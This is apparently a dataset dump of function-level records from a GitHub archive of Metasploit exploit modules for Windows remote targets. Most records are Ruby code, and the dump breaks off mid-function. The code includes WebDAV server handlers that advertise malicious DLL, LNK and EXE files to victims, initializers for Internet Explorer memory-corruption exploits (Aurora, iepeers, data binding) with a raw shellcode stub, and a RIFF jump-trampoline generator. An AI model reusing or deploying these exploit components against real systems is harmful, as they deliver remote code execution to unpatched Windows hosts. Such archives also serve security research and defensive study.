|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path =~ /\.dll$/i
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path =~ /\.lnk$/i
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << subdirectory
else
body << files
end
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16574.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16574.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer Data Binding Memory Corruption',
'Description' => %q{
This module exploits a vulnerability in the data binding feature of Internet
Explorer. In order to execute code reliably, this module uses the .NET DLL
memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is
used to create a fake vtable at a known location with all methods pointing
to our payload. Since the .text segment of the .NET DLL is non-writable, a
prefixed code stub is used to copy the payload into a new memory segment and
continue execution from there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm'
],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2008-4844'],
['OSVDB', '50622'],
['BID', '32721'],
['MSB', 'MS08-078'],
['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
# Temporary stub virtualalloc() + memcpy() payload to RWX page
'PrependEncoder' =>
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Dec 07 2008',
'DefaultTarget' => 0))
end
|
Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16583.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16583.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16585.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16585.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16585.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16585.rb
|
MIT
|
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end
|
Make sure we're on the right port/path to support WebDAV
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16585.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16585.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer DHTML Behaviors Use After Free',
'Description' => %q{
This module exploits a use-after-free vulnerability within the DHTML behaviors
functionality of Microsoft Internet Explorer versions 6 and 7. This bug was
discovered being used in-the-wild and was previously known as the "iepeers"
vulnerability. The name comes from Microsoft's suggested workaround to block
access to the iepeers.dll file.
According to Nico Waisman, "The bug itself is when trying to persist an object
using the setAttribute, which end up calling VariantChangeTypeEx with both the
source and the destination being the same variant. So if you send as a variant
an IDISPATCH the algorithm will try to do a VariantClear of the destination before
using it. This will end up on a call to PlainRelease which deref the reference
and clean the object."
NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # original discovery
'Trancer <mtrancer[at]gmail.com>', # metasploit module
'Nanika', # HIT2010 IE7 reliable PoC
'jduck' # minor cleanups
],
'Version' => '$Revision: 11333 $',
'References' =>
[
[ 'CVE', '2010-0806' ],
[ 'OSVDB', '62810' ],
[ 'BID', '38615' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ],
[ 'URL', 'http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html' ],
[ 'MSB', 'MS10-018' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista',
{
'Method' => 'automatic'
}
],
[ 'IE 6 SP0-SP2 (onclick)',
{
'Method' => 'onclick',
'Ret' => 0x0C0C0C0C
}
],
# "A great celebration of HIT2010" - http://www.hitcon.org/
[ 'IE 7.0 (marquee)',
{
'Method' => 'marquee',
'Ret' => 0x0C0C0C0C
}
],
],
'DisclosureDate' => 'Mar 09 2010',
'DefaultTarget' => 0))
end
|
Superceded by ms10_090_ie_css_clip, disable for BrowserAutopwn
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16590.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16590.rb
|
MIT
|
def exploit
path = File.join( Msf::Config.install_root, "data", "exploits", "shockwave_rcsl.dir" )
fd = File.open( path, "rb" )
@dir_data = fd.read(fd.stat.size)
fd.close
super
end
|
When exploit is called, load the exploit.dir file
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16594.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16594.rb
|
MIT
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer "Aurora" Memory Corruption',
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer. This
flaw was found in the wild and was a key component of the "Operation Aurora"
attacks that lead to the compromise of a number of high profile companies. The
exploit code is a direct port of the public sample published to the Wepawet
malware analysis site. The technique used by this module is currently identical
to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown',
'hdm' # Metasploit port
],
'Version' => '$Revision: 9787 $',
'References' =>
[
['MSB', 'MS10-002'],
['CVE', '2010-0249'],
['OSVDB', '61697'],
['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jan 14 2009', # wepawet sample
'DefaultTarget' => 0))
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
|
Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "6.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16599.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16599.rb
|
MIT
|
def generate_trampoline_riff_chunk
tag = Rex::Text.to_rand_case(rand_text_alpha(4))
dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
tag + [dat.length].pack('V') + dat
end
|
Generates a riff chunk with the first bytes of the data being a relative
jump. This is used to bounce to the actual payload
|
generate_trampoline_riff_chunk
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16698.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16698.rb
|
MIT
|
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'MS-Author-Via' => 'DAV',
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
resp = create_response(207, "Multi-Status")
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16699.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16699.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path =~ /\.exe$/i
# Response for the DLL
print_status("Sending EXE multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_exe}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << subdirectory
else
body << files
end
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16699.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16699.rb
|
MIT
|
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'MS-Author-Via' => 'DAV',
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
resp = create_response(207, "Multi-Status")
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16700.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16700.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path =~ /\.exe$/i
# Response for the DLL
print_status("Sending EXE multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
